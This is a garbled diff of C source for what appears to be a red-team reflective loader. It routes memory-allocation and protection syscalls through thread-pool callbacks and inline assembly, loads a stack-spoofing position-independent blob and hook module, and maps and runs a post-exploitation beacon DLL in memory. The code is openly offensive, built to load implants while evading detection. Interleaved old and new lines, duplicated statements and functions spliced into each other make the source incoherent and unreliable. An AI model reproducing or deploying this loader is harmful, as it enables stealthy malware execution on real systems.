#define GETRESOURCE(x) PTR_OFFSET(caller(), (ULONG_PTR)x + 5)
|
||||
#else
|
||||
#define GETRESOURCE(x) (char *)&x
|
||||
#endif
|
||||
|
||||
typedef struct {
|
||||
int length;
|
||||
char value[];
|
||||
} RESOURCE;
|
||||
|
||||
typedef struct {
|
||||
#if DEBUG
|
||||
char data[8192];
|
||||
char code[16384];
|
||||
#else
|
||||
char data[4096];
|
||||
char code[12288];
|
||||
#endif
|
||||
} PICO;
|
||||
|
||||
char __POSTEX__[0] __attribute__((section("postex")));
|
||||
char __DRAUGR__[0] __attribute__((section("draugr")));
|
||||
char __HOOKS__[0] __attribute__((section("hooks")));
|
||||
char __DLL__[0] __attribute__((section("dll")));
|
||||
|
||||
typedef void (*PICOHOOK_ENTRY)(IMPORTFUNCS * funcs, MEMORY_LAYOUT * layout);
|
||||
void * allocateVirtualMemory(SIZE_T size, ULONG protect)
|
||||
{
|
||||
NTARGS args;
|
||||
memset(&args, 0, sizeof(NTARGS));
|
||||
|
||||
char * loader_start() {
|
||||
#ifdef WIN_X86
|
||||
return PTR_OFFSET(caller(), (ULONG_PTR)go + 5);
|
||||
#else
|
||||
return (char *)go;
|
||||
#endif
|
||||
void * baseAddress = NULL;
|
||||
|
||||
args.functionPtr = (ULONG_PTR)(NTDLL$NtAllocateVirtualMemory);
|
||||
args.argument1 = (ULONG_PTR)(HANDLE)(-1);
|
||||
args.argument2 = (ULONG_PTR)(&baseAddress);
|
||||
args.argument3 = (ULONG_PTR)(0);
|
||||
args.argument4 = (ULONG_PTR)(&size);
|
||||
args.argument5 = (ULONG_PTR)(MEM_COMMIT|MEM_RESERVE);
|
||||
args.argument6 = (ULONG_PTR)(protect);
|
||||
|
||||
ProxyNtApi(&args);
|
||||
|
||||
return baseAddress;
|
||||
}
|
||||
|
||||
typedef struct {
|
||||
char draugrpic[4096];
|
||||
char hookdata[4096];
|
||||
char hookcode[12288];
|
||||
char dllbase[0];
|
||||
} LAYOUT;
|
||||
|
||||
void __attribute__((naked)) workCallback()
|
||||
void protectVirtualMemory(void * baseAddress, SIZE_T size, ULONG newProtect)
|
||||
{
|
||||
__asm__ __volatile__ (
|
||||
".intel_syntax noprefix;"
|
||||
"mov rbx, rdx;" // move struct as we're going to stomp rdx
|
||||
|
||||
"mov rax, [rbx];" // function pointer
|
||||
"mov rcx, [rbx + 0x8];" // argument 1
|
||||
"mov rdx, [rbx + 0x10];" // argument 2
|
||||
"mov r8, [rbx + 0x18];" // argument 3
|
||||
"mov r9, [rbx + 0x20];" // argument 4
|
||||
|
||||
"mov r10, [rbx + 0x30];" // argument 6
|
||||
"mov [rsp + 0x30], r10;"
|
||||
|
||||
"mov r10, [rbx + 0x28];" // argument 5
|
||||
"mov [rsp + 0x28], r10;"
|
||||
|
||||
"jmp rax;" // jump
|
||||
".att_syntax prefix;"
|
||||
);
|
||||
NTARGS args;
|
||||
memset(&args, 0, sizeof(NTARGS));
|
||||
|
||||
ULONG oldProtect = 0;
|
||||
|
||||
args.functionPtr = (ULONG_PTR)(NTDLL$NtProtectVirtualMemory);
|
||||
args.argument1 = (ULONG_PTR)(HANDLE)(-1);
|
||||
args.argument2 = (ULONG_PTR)(&baseAddress);
|
||||
args.argument3 = (ULONG_PTR)(&size);
|
||||
args.argument4 = (ULONG_PTR)(newProtect);
|
||||
args.argument5 = (ULONG_PTR)(&oldProtect);
|
||||
|
||||
ProxyNtApi(&args);
|
||||
}
|
||||
|
||||
void * allocate_memory_threadpool(SIZE_T size, ULONG protect, WIN32FUNCS * funcs)
|
||||
void fixSectionPermissions(DLLDATA * dll, char * src, char * dst, MEMORY_REGION * region)
|
||||
{
|
||||
NTARGS args;
|
||||
memset(&args, 0, sizeof(NTARGS));
|
||||
DWORD numberOfSections = dll->NtHeaders->FileHeader.NumberOfSections;
|
||||
IMAGE_SECTION_HEADER * sectionHdr = NULL;
|
||||
void * sectionDst = NULL;
|
||||
DWORD sectionSize = 0;
|
||||
DWORD newProtect = 0;
|
||||
|
||||
void * baseAddress = NULL;
|
||||
sectionHdr = (IMAGE_SECTION_HEADER *)PTR_OFFSET(dll->OptionalHeader, dll->NtHeaders->FileHeader.SizeOfOptionalHeader);
|
||||
|
||||
args.function = (ULONG_PTR)(funcs->NtAllocateVirtualMemory);
|
||||
args.argument1 = (ULONG_PTR)(HANDLE)(-1);
|
||||
args.argument2 = (ULONG_PTR)(&baseAddress);
|
||||
args.argument3 = (ULONG_PTR)(0);
|
||||
args.argument4 = (ULONG_PTR)(&size);
|
||||
args.argument5 = (ULONG_PTR)(MEM_COMMIT|MEM_RESERVE);
|
||||
args.argument6 = (ULONG_PTR)(protect);
|
||||
for (int x = 0; x < numberOfSections; x++)
|
||||
{
|
||||
sectionDst = dst + sectionHdr->VirtualAddress;
|
||||
sectionSize = sectionHdr->SizeOfRawData;
|
||||
|
||||
PTP_WORK WorkReturn = NULL;
|
||||
if (sectionHdr->Characteristics & IMAGE_SCN_MEM_WRITE) {
|
||||
newProtect = PAGE_WRITECOPY;
|
||||
}
|
||||
if (sectionHdr->Characteristics & IMAGE_SCN_MEM_READ) {
|
||||
newProtect = PAGE_READONLY;
|
||||
}
|
||||
if ((sectionHdr->Characteristics & IMAGE_SCN_MEM_READ) && (sectionHdr->Characteristics & IMAGE_SCN_MEM_WRITE)) {
|
||||
newProtect = PAGE_READWRITE;
|
||||
}
|
||||
if (sectionHdr->Characteristics & IMAGE_SCN_MEM_EXECUTE) {
|
||||
newProtect = PAGE_EXECUTE;
|
||||
}
|
||||
if ((sectionHdr->Characteristics & IMAGE_SCN_MEM_EXECUTE) && (sectionHdr->Characteristics & IMAGE_SCN_MEM_READ)) {
|
||||
newProtect = PAGE_EXECUTE_WRITECOPY;
|
||||
}
|
||||
if ((sectionHdr->Characteristics & IMAGE_SCN_MEM_EXECUTE) && (sectionHdr->Characteristics & IMAGE_SCN_MEM_READ)) {
|
||||
newProtect = PAGE_EXECUTE_READ;
|
||||
}
|
||||
if ((sectionHdr->Characteristics & IMAGE_SCN_MEM_READ) && (sectionHdr->Characteristics & IMAGE_SCN_MEM_WRITE) && (sectionHdr->Characteristics & IMAGE_SCN_MEM_EXECUTE)) {
|
||||
newProtect = PAGE_EXECUTE_READWRITE;
|
||||
}
|
||||
|
||||
funcs->TpAllocWork(&WorkReturn, (PTP_WORK_CALLBACK)workCallback, &args, NULL);
|
||||
funcs->TpPostWork(WorkReturn);
|
||||
funcs->TpReleaseWork(WorkReturn);
|
||||
/* set new permission */
|
||||
protectVirtualMemory(sectionDst, sectionSize, newProtect);
|
||||
|
||||
funcs->Sleep(100);
|
||||
/* track memory */
|
||||
region->sections[x].baseAddress = sectionDst;
|
||||
region->sections[x].size = sectionSize;
|
||||
region->sections[x].currentProtect = newProtect;
|
||||
region->sections[x].previousProtect = newProtect;
|
||||
|
||||
return baseAddress;
|
||||
}
|
||||
|
||||
void protect_memory_threadpool(void * baseAddress, SIZE_T size, ULONG newProtect, WIN32FUNCS * funcs)
|
||||
{
|
||||
NTARGS args;
|
||||
memset(&args, 0, sizeof(NTARGS));
|
||||
|
||||
ULONG oldProtect = 0;
|
||||
|
||||
args.function = (ULONG_PTR)(funcs->NtProtectVirtualMemory);
|
||||
args.argument1 = (ULONG_PTR)(HANDLE)(-1);
|
||||
args.argument2 = (ULONG_PTR)(&baseAddress);
|
||||
args.argument3 = (ULONG_PTR)(&size);
|
||||
args.argument4 = (ULONG_PTR)(newProtect);
|
||||
args.argument5 = (ULONG_PTR)(&oldProtect);
|
||||
|
||||
PTP_WORK WorkReturn = NULL;
|
||||
|
||||
funcs->TpAllocWork(&WorkReturn, (PTP_WORK_CALLBACK)workCallback, &args, NULL);
|
||||
funcs->TpPostWork(WorkReturn);
|
||||
funcs->TpReleaseWork(WorkReturn);
|
||||
|
||||
funcs->Sleep(100);
|
||||
}
|
||||
|
||||
#ifdef DEBUG
|
||||
#include "debug.h"
|
||||
#endif
|
||||
|
||||
void fixSectionMemoryPermissions(DLLDATA * dll, char * src, char * dst, WIN32FUNCS * funcs, MEMORY_REGION * region)
|
||||
{
|
||||
DWORD numberOfSections = dll->NtHeaders->FileHeader.NumberOfSections;
|
||||
IMAGE_SECTION_HEADER * sectionHdr = NULL;
|
||||
void * sectionDst = NULL;
|
||||
DWORD sectionSize = 0;
|
||||
DWORD newProtect = 0;
|
||||
|
||||
sectionHdr = (IMAGE_SECTION_HEADER *)PTR_OFFSET(dll->OptionalHeader, dll->NtHeaders->FileHeader.SizeOfOptionalHeader);
|
||||
|
||||
for (int x = 0; x < numberOfSections; x++)
|
||||
{
|
||||
sectionDst = dst + sectionHdr->VirtualAddress;
|
||||
sectionSize = sectionHdr->SizeOfRawData;
|
||||
|
||||
if (sectionHdr->Characteristics & IMAGE_SCN_MEM_WRITE) {
|
||||
newProtect = PAGE_WRITECOPY;
|
||||
}
|
||||
if (sectionHdr->Characteristics & IMAGE_SCN_MEM_READ) {
|
||||
newProtect = PAGE_READONLY;
|
||||
}
|
||||
if ((sectionHdr->Characteristics & IMAGE_SCN_MEM_READ) && (sectionHdr->Characteristics & IMAGE_SCN_MEM_WRITE)) {
|
||||
newProtect = PAGE_READWRITE;
|
||||
}
|
||||
if (sectionHdr->Characteristics & IMAGE_SCN_MEM_EXECUTE) {
|
||||
newProtect = PAGE_EXECUTE;
|
||||
}
|
||||
if ((sectionHdr->Characteristics & IMAGE_SCN_MEM_EXECUTE) && (sectionHdr->Characteristics & IMAGE_SCN_MEM_READ)) {
|
||||
newProtect = PAGE_EXECUTE_WRITECOPY;
|
||||
}
|
||||
if ((sectionHdr->Characteristics & IMAGE_SCN_MEM_EXECUTE) && (sectionHdr->Characteristics & IMAGE_SCN_MEM_READ)) {
|
||||
newProtect = PAGE_EXECUTE_READ;
|
||||
}
|
||||
if ((sectionHdr->Characteristics & IMAGE_SCN_MEM_READ) && (sectionHdr->Characteristics & IMAGE_SCN_MEM_WRITE) && (sectionHdr->Characteristics & IMAGE_SCN_MEM_EXECUTE)) {
|
||||
newProtect = PAGE_EXECUTE_READWRITE;
|
||||
}
|
||||
|
||||
/* set new permission */
|
||||
protect_memory_threadpool(sectionDst, sectionSize, newProtect, funcs);
|
||||
|
||||
/* track memory */
|
||||
region->sections[x].baseAddress = sectionDst;
|
||||
region->sections[x].size = sectionSize;
|
||||
region->sections[x].currentProtect = newProtect;
|
||||
region->sections[x].previousProtect = newProtect;
|
||||
|
||||
/* advance to our next section */
|
||||
sectionHdr++;
|
||||
}
|
||||
/* advance to our next section */
|
||||
sectionHdr++;
|
||||
}
|
||||
}
|
||||
|
||||
void reflectiveLoader(WIN32FUNCS * funcs, MEMORY_LAYOUT * layout, void * loaderArgument)
|
||||
{
|
||||
char * hookSrc;
|
||||
PICO * hookDst;
|
||||
char * dllSrc;
|
||||
DLLDATA dllData;
|
||||
char * dllDst;
|
||||
char * hookSrc;
|
||||
PICO * hookDst;
|
||||
char * dllSrc;
|
||||
DLLDATA dllData;
|
||||
char * dllDst;
|
||||
|
||||
/* Time to load the hook PICO */
|
||||
hookSrc = GETRESOURCE(__HOOKS__);
|
||||
/* Time to load the hook PICO */
|
||||
hookSrc = GETRESOURCE(__HOOKS__);
|
||||
|
||||
/* Allocate memory for it */
|
||||
hookDst = (PICO *)allocate_memory_threadpool(sizeof(PICO), PAGE_READWRITE, funcs);
|
||||
/* Allocate memory for it */
|
||||
hookDst = (PICO *)allocateVirtualMemory(sizeof(PICO), PAGE_READWRITE);
|
||||
|
||||
/* Load it into memory */
|
||||
PicoLoad((IMPORTFUNCS *)funcs, hookSrc, hookDst->code, hookDst->data);
|
||||
#if DEBUG
|
||||
dprintf("hookDst : 0x%p\n", hookDst);
|
||||
dprintf("PicoDataSize : %d\n", PicoDataSize(hookSrc));
|
||||
dprintf("PicoCodeSize : %d\n", PicoCodeSize(hookSrc));
|
||||
#endif
|
||||
|
||||
/* Make the code section RX */
|
||||
protect_memory_threadpool(hookDst->code, PicoCodeSize(hookSrc), PAGE_EXECUTE_READ, funcs);
|
||||
/* Load it into memory */
|
||||
PicoLoad((IMPORTFUNCS *)funcs, hookSrc, hookDst->code, hookDst->data);
|
||||
|
||||
/* Fill layout info */
|
||||
layout->hooks.baseAddress = (char *)hookDst;
|
||||
layout->hooks.size = sizeof(PICO);
|
||||
layout->hooks.sections[0].baseAddress = hookDst->data;
|
||||
layout->hooks.sections[0].size = PicoDataSize(hookSrc);
|
||||
layout->hooks.sections[0].currentProtect = PAGE_READWRITE;
|
||||
layout->hooks.sections[0].previousProtect = PAGE_READWRITE;
|
||||
layout->hooks.sections[1].baseAddress = hookDst->code;
|
||||
layout->hooks.sections[1].size = PicoCodeSize(hookSrc);
|
||||
layout->hooks.sections[1].currentProtect = PAGE_EXECUTE_READ;
|
||||
layout->hooks.sections[1].previousProtect = PAGE_EXECUTE_READ;
|
||||
/* Make the code section RX */
|
||||
protectVirtualMemory(hookDst->code, PicoCodeSize(hookSrc), PAGE_EXECUTE_READ);
|
||||
|
||||
/* Get PICO entry point */
|
||||
PICOHOOK_ENTRY picoEntry = (PICOHOOK_ENTRY)PicoEntryPoint(hookSrc, hookDst->code);
|
||||
/* Fill layout info */
|
||||
layout->hooks.baseAddress = (char *)hookDst;
|
||||
layout->hooks.size = sizeof(PICO);
|
||||
layout->hooks.sections[0].baseAddress = hookDst->data;
|
||||
layout->hooks.sections[0].size = PicoDataSize(hookSrc);
|
||||
layout->hooks.sections[0].currentProtect = PAGE_READWRITE;
|
||||
layout->hooks.sections[0].previousProtect = PAGE_READWRITE;
|
||||
layout->hooks.sections[1].baseAddress = hookDst->code;
|
||||
layout->hooks.sections[1].size = PicoCodeSize(hookSrc);
|
||||
layout->hooks.sections[1].currentProtect = PAGE_EXECUTE_READ;
|
||||
layout->hooks.sections[1].previousProtect = PAGE_EXECUTE_READ;
|
||||
|
||||
/* Call it to install the hooks */
|
||||
picoEntry((IMPORTFUNCS *)funcs, layout);
|
||||
/* Get PICO entry point */
|
||||
PICOHOOK_ENTRY picoEntry = (PICOHOOK_ENTRY)PicoEntryPoint(hookSrc, hookDst->code);
|
||||
|
||||
/* Now load the DLL */
|
||||
dllSrc = GETRESOURCE(__POSTEX__);
|
||||
/* Call it to install the hooks */
|
||||
picoEntry((IMPORTFUNCS *)funcs, layout);
|
||||
|
||||
/* Parse the headers */
|
||||
ParseDLL(dllSrc, &dllData);
|
||||
/* Now load the DLL */
|
||||
dllSrc = GETRESOURCE(__DLL__);
|
||||
|
||||
/* Allocate memory for DLL */
|
||||
dllDst = allocate_memory_threadpool(SizeOfDLL(&dllData), PAGE_READWRITE, funcs);
|
||||
/* Parse the headers */
|
||||
ParseDLL(dllSrc, &dllData);
|
||||
|
||||
/* Load it into memory */
|
||||
LoadDLL(&dllData, dllSrc, dllDst);
|
||||
ProcessImports((IMPORTFUNCS *)funcs, &dllData, dllDst);
|
||||
/* Allocate memory for DLL */
|
||||
dllDst = allocateVirtualMemory(SizeOfDLL(&dllData), PAGE_READWRITE);
|
||||
|
||||
layout->beacon.baseAddress = dllDst;
|
||||
layout->beacon.size = SizeOfDLL(&dllData);
|
||||
/* Load it into memory */
|
||||
LoadDLL(&dllData, dllSrc, dllDst);
|
||||
ProcessImports((IMPORTFUNCS *)funcs, &dllData, dllDst);
|
||||
|
||||
/* Fix section memory permissions */
|
||||
fixSectionMemoryPermissions(&dllData, dllSrc, dllDst, funcs, &layout->beacon);
|
||||
layout->dll.baseAddress = dllDst;
|
||||
layout->dll.size = SizeOfDLL(&dllData);
|
||||
|
||||
/* Call hook entry point again to provide the updated memory layout */
|
||||
picoEntry((IMPORTFUNCS *)funcs, layout);
|
||||
/* Fix section memory permissions */
|
||||
fixSectionPermissions(&dllData, dllSrc, dllDst, &layout->dll);
|
||||
|
||||
/* Get its entry point */
|
||||
DLLMAIN_FUNC dllEntry = EntryPoint(&dllData, dllDst);
|
||||
/* Call hook entry point again to provide the updated memory layout */
|
||||
picoEntry((IMPORTFUNCS *)funcs, layout);
|
||||
|
||||
/* Call it twice */
|
||||
dllEntry((HINSTANCE)dllDst, DLL_PROCESS_ATTACH, NULL);
|
||||
dllEntry((HINSTANCE)loader_start(), DLL_POSTEX_START, loaderArgument);
|
||||
/* Get its entry point */
|
||||
DLLMAIN_FUNC dllEntry = EntryPoint(&dllData, dllDst);
|
||||
|
||||
/* Call it twice */
|
||||
dllEntry((HINSTANCE)dllDst, DLL_PROCESS_ATTACH, NULL);
|
||||
dllEntry((HINSTANCE)loaderStart(), 0x4, loaderArgument);
|
||||
}
|
||||
|
||||
void setupProxy(void * loaderArgument)
|
||||
void go(void * loaderArgument)
|
||||
{
|
||||
WIN32FUNCS funcs;
|
||||
RESOURCE * picSrc;
|
||||
char * picDst;
|
||||
MEMORY_LAYOUT layout;
|
||||
WIN32FUNCS funcs;
|
||||
RESOURCE * picSrc;
|
||||
char * picDst;
|
||||
MEMORY_LAYOUT layout;
|
||||
|
||||
/* Resolve functions */
|
||||
findNeededFunctions(&funcs);
|
||||
funcs.LoadLibraryA = LoadLibraryA;
|
||||
funcs.GetProcAddress = GetProcAddress;
|
||||
funcs.VirtualAlloc = KERNEL32$VirtualAlloc;
|
||||
funcs.VirtualAllocEx = KERNEL32$VirtualAllocEx;
|
||||
funcs.VirtualProtect = KERNEL32$VirtualProtect;
|
||||
funcs.VirtualProtectEx = KERNEL32$VirtualProtectEx;
|
||||
funcs.VirtualFree = KERNEL32$VirtualFree;
|
||||
funcs.VirtualQuery = KERNEL32$VirtualQuery;
|
||||
funcs.GetThreadContext = KERNEL32$GetThreadContext;
|
||||
funcs.SetThreadContext = KERNEL32$SetThreadContext;
|
||||
funcs.ResumeThread = KERNEL32$ResumeThread;
|
||||
funcs.CreateThread = KERNEL32$CreateThread;
|
||||
funcs.CreateRemoteThread = KERNEL32$CreateRemoteThread;
|
||||
funcs.OpenProcess = KERNEL32$OpenProcess;
|
||||
funcs.OpenThread = KERNEL32$OpenThread;
|
||||
funcs.ExitThread = KERNEL32$ExitThread;
|
||||
funcs.CloseHandle = KERNEL32$CloseHandle;
|
||||
funcs.Sleep = KERNEL32$Sleep;
|
||||
funcs.CreateFileMappingA = KERNEL32$CreateFileMappingA;
|
||||
funcs.MapViewOfFile = KERNEL32$MapViewOfFile;
|
||||
funcs.UnmapViewOfFile = KERNEL32$UnmapViewOfFile;
|
||||
funcs.DuplicateHandle = KERNEL32$DuplicateHandle;
|
||||
funcs.ReadProcessMemory = KERNEL32$ReadProcessMemory;
|
||||
funcs.WriteProcessMemory = KERNEL32$WriteProcessMemory;
|
||||
funcs.CreateProcessA = KERNEL32$CreateProcessA;
|
||||
|
||||
/* Grab the Draugr PIC */
|
||||
picSrc = (RESOURCE *)GETRESOURCE(__DRAUGR__);
|
||||
/* Grab the Draugr PIC */
|
||||
picSrc = (RESOURCE *)GETRESOURCE(__DRAUGR__);
|
||||
|
||||
/* Allocate memory for it */
|
||||
picDst = allocate_memory_threadpool(picSrc->length, PAGE_READWRITE, &funcs);
|
||||
/* Allocate memory for it */
|
||||
picDst = allocateVirtualMemory(picSrc->length, PAGE_READWRITE);
|
||||
|
||||
#if DEBUG
|
||||
PIC_STRING(dst, "PIC @ 0x%lp\n");
|
||||
dprintf((IMPORTFUNCS *)&funcs, dst, picDst);
|
||||
#endif
|
||||
#if DEBUG
|
||||
dprintf("picDst : 0x%p\n", picDst);
|
||||
#endif
|
||||
|
||||
/* Copy it into memory */
|
||||
memcpy(picDst, picSrc->value, picSrc->length);
|
||||
/* Copy it into memory */
|
||||
memcpy(picDst, picSrc->value, picSrc->length);
|
||||
|
||||
/* Flip memory to RX */
|
||||
protect_memory_threadpool(picDst, picSrc->length, PAGE_EXECUTE_READ, &funcs);
|
||||
/* Flip memory to RX */
|
||||
protectVirtualMemory(picDst, picSrc->length, PAGE_EXECUTE_READ);
|
||||
|
||||
/* Set funcs field */
|
||||
funcs.Draugr = (DRAUGR)(picDst);
|
||||
/* Set funcs field */
|
||||
funcs.Draugr = (DRAUGR)(picDst);
|
||||
|
||||
/* Begin filling memory layout info */
|
||||
layout.pic.baseAddress = picDst;
|
||||
layout.pic.size = picSrc->length;
|
||||
/* Begin filling memory layout info */
|
||||
layout.pic.baseAddress = picDst;
|
||||
layout.pic.size = picSrc->length;
|
||||
|
||||
/* Carry on loading the rest */
|
||||
reflectiveLoader(&funcs, &layout, loaderArgument);
|
||||
/* Carry on loading the rest */
|
||||
reflectiveLoader(&funcs, &layout, loaderArgument);
|
||||
}
|
||||
+69
-207
@@ -1,222 +1,84 @@
|
||||
/*
|
||||
* Copyright (C) 2025 Raphael Mudge, Adversary Fan Fiction Writers Guild
|
||||
* Copyright 2025 Daniel Duggan, Zero-Point Security
|
||||
*
|
||||
* This file is part of Tradecraft Garden
|
||||
* Redistribution and use in source and binary forms, with or without modification, are
|
||||
* permitted provided that the following conditions are met:
|
||||
*
|
||||
* This program is free software; you can redistribute it and/or modify
|
||||
* it under the terms of the GNU General Public License as published by
|
||||
* the Free Software Foundation; either version 2 of the License, or
|
||||
* (at your option) any later version.
|
||||
* 1. Redistributions of source code must retain the above copyright notice, this list of
|
||||
* conditions and the following disclaimer.
|
||||
*
|
||||
* This program is distributed in the hope that it will be useful,
|
||||
* but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
* GNU General Public License for more details.
|
||||
* 2. Redistributions in binary form must reproduce the above copyright notice, this list of
|
||||
* conditions and the following disclaimer in the documentation and/or other materials provided
|
||||
* with the distribution.
|
||||
*
|
||||
* You should have received a copy of the GNU General Public License along
|
||||
* with this program; if not, see <https://www.gnu.org/licenses/>.
|
||||
* 3. Neither the name of the copyright holder nor the names of its contributors may be used to
|
||||
* endorse or promote products derived from this software without specific prior written
|
||||
* permission.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS “AS IS” AND ANY EXPRESS
|
||||
* OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
|
||||
* MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
|
||||
* COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
|
||||
* EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
|
||||
* SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
|
||||
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR
|
||||
* TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE,
|
||||
* EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
*/
|
||||
|
||||
typedef struct {
|
||||
__typeof__(LoadLibraryA) * LoadLibraryA;
|
||||
__typeof__(GetProcAddress) * GetProcAddress;
|
||||
} IMPORTFUNCS;
|
||||
#include <windows.h>
|
||||
#include "tcg.h"
|
||||
#include "memory.h"
|
||||
|
||||
typedef VOID NTAPI (*TPALLOCWORK) (PTP_WORK*, PTP_WORK_CALLBACK, PVOID, PTP_CALLBACK_ENVIRON);
|
||||
typedef VOID NTAPI (*TPPOSTWORK) (PTP_WORK);
|
||||
typedef VOID NTAPI (*TPRELEASEWORK) (PTP_WORK);
|
||||
#define memset(x, y, z) __stosb((unsigned char *)x, y, z);
|
||||
#define memcpy(x, y, z) __movsb((unsigned char *)x, (unsigned char *)y, z);
|
||||
|
||||
#define GETRESOURCE(x) (char *)&x
|
||||
|
||||
typedef struct {
|
||||
UINT_PTR function;
|
||||
UINT_PTR argument1;
|
||||
UINT_PTR argument2;
|
||||
UINT_PTR argument3;
|
||||
UINT_PTR argument4;
|
||||
UINT_PTR argument5;
|
||||
UINT_PTR argument6;
|
||||
} NTARGS;
|
||||
|
||||
#define PTR_OFFSET(x, y) ( (void *)(x) + (ULONG)(y) )
|
||||
#define DEREF( name )*(UINT_PTR *)(name)
|
||||
int length;
|
||||
char value[];
|
||||
} RESOURCE;
|
||||
|
||||
typedef struct {
|
||||
WORD offset:12;
|
||||
WORD type:4;
|
||||
} __IMAGE_RELOC, *__PIMAGE_RELOC;
|
||||
#if DEBUG
|
||||
char data[8192];
|
||||
char code[16384];
|
||||
#else
|
||||
char data[4096];
|
||||
char code[12288];
|
||||
#endif
|
||||
} PICO;
|
||||
|
||||
typedef struct {
|
||||
IMAGE_DOS_HEADER * DosHeader;
|
||||
IMAGE_NT_HEADERS * NtHeaders;
|
||||
IMAGE_OPTIONAL_HEADER * OptionalHeader;
|
||||
} DLLDATA;
|
||||
DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$VirtualAlloc (LPVOID, SIZE_T, DWORD, DWORD);
|
||||
DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$VirtualAllocEx (HANDLE, LPVOID, SIZE_T, DWORD, DWORD);
|
||||
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualProtect (LPVOID, SIZE_T, DWORD, PDWORD);
|
||||
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualProtectEx (HANDLE, LPVOID, SIZE_T, DWORD, PDWORD);
|
||||
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualFree (LPVOID, SIZE_T, DWORD);
|
||||
DECLSPEC_IMPORT SIZE_T WINAPI KERNEL32$VirtualQuery (LPCVOID, PMEMORY_BASIC_INFORMATION, SIZE_T);
|
||||
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$GetThreadContext (HANDLE, LPCONTEXT);
|
||||
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$SetThreadContext (HANDLE, const CONTEXT *);
|
||||
DECLSPEC_IMPORT DWORD WINAPI KERNEL32$ResumeThread (HANDLE);
|
||||
DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$CreateThread (LPSECURITY_ATTRIBUTES, SIZE_T, LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD);
|
||||
DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$CreateRemoteThread (HANDLE, LPSECURITY_ATTRIBUTES, SIZE_T, LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD);
|
||||
DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$OpenProcess (DWORD, BOOL, DWORD);
|
||||
DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$OpenThread (DWORD, BOOL, DWORD);
|
||||
DECLSPEC_IMPORT VOID WINAPI KERNEL32$ExitThread (DWORD);
|
||||
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$CloseHandle (HANDLE);
|
||||
DECLSPEC_IMPORT VOID WINAPI KERNEL32$Sleep (DWORD);
|
||||
DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$CreateFileMappingA (HANDLE, LPSECURITY_ATTRIBUTES, DWORD, DWORD, DWORD, LPCSTR);
|
||||
DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$MapViewOfFile (HANDLE, DWORD, DWORD, DWORD, SIZE_T);
|
||||
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$UnmapViewOfFile (LPCVOID);
|
||||
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$DuplicateHandle (HANDLE, HANDLE, HANDLE, LPHANDLE, DWORD, BOOL, DWORD);
|
||||
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$ReadProcessMemory (HANDLE, LPCVOID, LPVOID, SIZE_T, SIZE_T *);
|
||||
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$WriteProcessMemory (HANDLE, LPVOID, LPCVOID, SIZE_T, SIZE_T *);
|
||||
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$CreateProcessA (LPCSTR, LPSTR, LPSECURITY_ATTRIBUTES, LPSECURITY_ATTRIBUTES, BOOL, DWORD, LPVOID, LPCSTR, LPSTARTUPINFOA, LPPROCESS_INFORMATION);
|
||||
DECLSPEC_IMPORT NTSTATUS NTAPI NTDLL$NtAllocateVirtualMemory (HANDLE, PVOID *, ULONG_PTR, PSIZE_T, ULONG, ULONG);
|
||||
DECLSPEC_IMPORT NTSTATUS NTAPI NTDLL$NtProtectVirtualMemory (HANDLE, PVOID *, PSIZE_T, ULONG, PULONG);
|
||||
|
||||
IMAGE_DATA_DIRECTORY * GetDataDirectory(DLLDATA * dll, UINT entry) {
|
||||
return dll->OptionalHeader->DataDirectory + entry;
|
||||
}
|
||||
typedef void (*PICOHOOK_ENTRY)(IMPORTFUNCS *, MEMORY_LAYOUT *);
|
||||
|
||||
void ProcessRelocation(DLLDATA * dll, char * src, char * dst, IMAGE_BASE_RELOCATION * relocation, ULONG_PTR newBaseAddress) {
|
||||
void * relocAddr = PTR_OFFSET(dst, relocation->VirtualAddress);
|
||||
DWORD relocEntries = (relocation->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(__IMAGE_RELOC);
|
||||
__IMAGE_RELOC * relocEntry = (__IMAGE_RELOC *)PTR_OFFSET( relocation, sizeof(IMAGE_BASE_RELOCATION) );
|
||||
|
||||
for (int x = 0; x < relocEntries; x++) {
|
||||
if (relocEntry->type == IMAGE_REL_BASED_DIR64) {
|
||||
*(ULONG_PTR *)(relocAddr + relocEntry->offset) += newBaseAddress;
|
||||
}
|
||||
else if (relocEntry->type == IMAGE_REL_BASED_HIGHLOW) {
|
||||
